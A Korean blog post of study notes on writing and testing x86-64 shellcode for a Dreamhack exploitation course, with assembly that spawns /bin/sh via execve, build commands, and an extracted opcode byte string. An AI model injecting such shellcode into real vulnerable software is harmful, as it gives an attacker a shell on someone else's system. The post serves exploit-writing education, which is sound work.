본문 바로가기

Computer

Shellcode 작성, 테스트

https://dreamhack.io/lecture/courses/50

 

Exploit Tech: Shellcode

셸코드가 무엇인지 이해하고, 직접 작성 및 디버깅 합니다.

dreamhack.io

쉘코드 작성 및 테스트 방법

dreamhack에서 설명은 잘 해줬는데, 흐름이 좀.. 부드럽지 않아서 추가로 작성해봄.

 

 

1. .c파일로 asm 코드를 만들어본다.

예제의 execve.c 파일은 다음과 같다.

// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel
__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "mov rax, 0x68732f6e69622f\n"
    "push rax\n"
    "mov rdi, rsp  # rdi = '/bin/sh'\n"
    "xor rsi, rsi  # rsi = NULL\n"
    "xor rdx, rdx  # rdx = NULL\n"
    "mov rax, 0x3b # rax = sys_execve\n"
    "syscall       # execve('/bin/sh', null, null)\n"
    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");
void run_sh();
int main() { run_sh(); }

위에 적힌 주석에 맞게 컴파일 한 execve파일을 실행하면 정상적으로 쉘을 획득할 수 있다.

즉 위의 어셈블리 코드를 정상적으로 잘 짰고, 그래서 잘 수행됨을 확인함.

 

2. .asm파일 문법에 맞게 위의 코드를 작성한다.

; File name: execve.x86.asm
section .text
global _start
_start:
xor    rax, rax
push   rax
push   0x68732f2f
push   0x6e69622f
mov    rdi, rsp
xor    rsi, rsi
xor    rdx, rdx
mov    rax, 0x3b
syscall

(예시에선 갑자기 eax이용해서 32비트 어셈블리 파일을 만든다. 이것도 이상함..)

 

3. .o파일 생성

$ nasm -f elf64 execve.asm
$ objdump -d shellcode.o ; 확인용 명령어

 

4. bin파일 생성

$ objcopy --dump-section .text=execve.bin execve.o
$ xxd execve.bin ;확인용 명령어

dreamhack 실습에서는 이렇게 만들어내는 bin파일을 입력하면 되는 것 같다.

 

 

+) opcode만 추출해서 보내는 경우가 있는것 같은데 어떻게 하는건지 잘 모르겠음.

일단 참고용으로 적어둠

https://velog.io/@1unaram/pwnable-objdump-Opcode-%EC%B6%94%EC%B6%9C-%EB%AA%85%EB%A0%B9%EC%96%B4

 

[Pwnable] objdump Opcode 추출 명령어

쉘 코드를 작성할 때, OPCODE를 추출하는 명령어입니다

velog.io

for i in $(objdump -d execve.o | grep "^ " | cut -f 2); do echo -n \\x$i; done
\x48\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x3b\x00\x00\x00\x0f\x05

 

 

+2)

; File name: execve.x86.asm
section .text
global _start
_start:
xor    rax, rax
push   rax
mov    rax, 0x68732f2f6e69622f
; mov    rax, 0x6e69622f68732f2f
push   rax
mov    rdi, rsp
xor    rsi, rsi
xor    rdx, rdx
mov    rax, 0x3b
syscall

x86이니까 7,8번줄을 다음과같이 해도 될 것 같은데

6269~가 먼저인지, 6873~이 먼저인지 모르겠다.

68이 먼저인것 같은데 테스트를 못해봐서 확신이 안섬.

확인해봐야 할 것 같은데 dremhack 테스트사이트는 execve()함수 실행을 못하게 해놨기 때문에 직접 짜봐야 할 듯.